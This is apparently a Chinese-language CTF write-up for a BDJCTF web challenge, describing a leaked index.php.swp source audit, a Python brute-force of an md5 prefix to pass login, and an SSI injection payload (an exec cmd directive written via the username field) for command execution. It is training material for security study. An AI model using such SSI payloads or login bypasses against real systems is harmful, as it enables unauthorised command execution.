BDJCTF
WP
进入环境,看到是个登录页面,第一反应是SQL注入。。。然后我就在SQL注入的路上一去不复返了。
感觉自己就是做题思路不是很开阔,知识点学的差是一个方面,思维的发散性又是一个方面。这题关键的信息在index.php.swp,考虑到自己SQL注入不行,应该去转换思路,去尝试其他的方向,比如备份文件这样的。
不过这题似乎直接扫目录就可以扫到index.php.swp,不过我dirsearch没扫到,还是自己字典的问题,要慢慢增加自己字典的容量。
然后就是代码审计:
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content);}header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
username是你写入那个.shtml文件的内容,这个登录点的验证是对密码的md5验证,脚本如下:
import hashlibfor v1 in 'abcdefghijklmnopqrstuvwxyz123456789':for v2 in 'abcdefghijklmnopqrstuvwxyz123456789':for v3 in 'abcdefghijklmnopqrstuvwxyz123456789':for v4 in 'abcdefghijklmnopqrstuvwxyz123456789':for v5 in 'abcdefghijklmnopqrstuvwxyz123456789':for v6 in 'abcdefghijklmnopqrstuvwxyz123456789':v = v1 + v2 + v3 + v4 + v5 + v6m = hashlib.md5()m.update(v.encode("utf-8"))n = m.hexdigest()if n[0:6] == '6d0bc1':print(v)
登录成功后恐怕就是对于.shtml文件的利用了,能够往里面写任何东西,不存在过滤,很明显可以写马之类的,但是对于这个.shtml文件是啥不太了解,查了一下,是自己从来没接触过的SSI注入的内容,参考文章如下:
SSI注入漏洞总结
因此可以往里面写<!--#exec cmd="ls /var/www/html" -->
,但是文件的名字不能知道,我本来以为可能是爆破,但是我一看那个$random就已经是5位了,我在本地自己试了个uniqid函数,看到位数立马知道了这题不是爆破。。。
后来抓包,发现文件名藏在响应头里,因此直接访问那个文件就可以得到命令执行的结果,然后直接访问/var/www/html下面的flag文件就可以了。
反思
后面的内容不算难,但是自己卡在了死磕SQL注入那里。。还是思维和知识点的运用不行,还需要努力。
更多推荐
BDJCTF
发布评论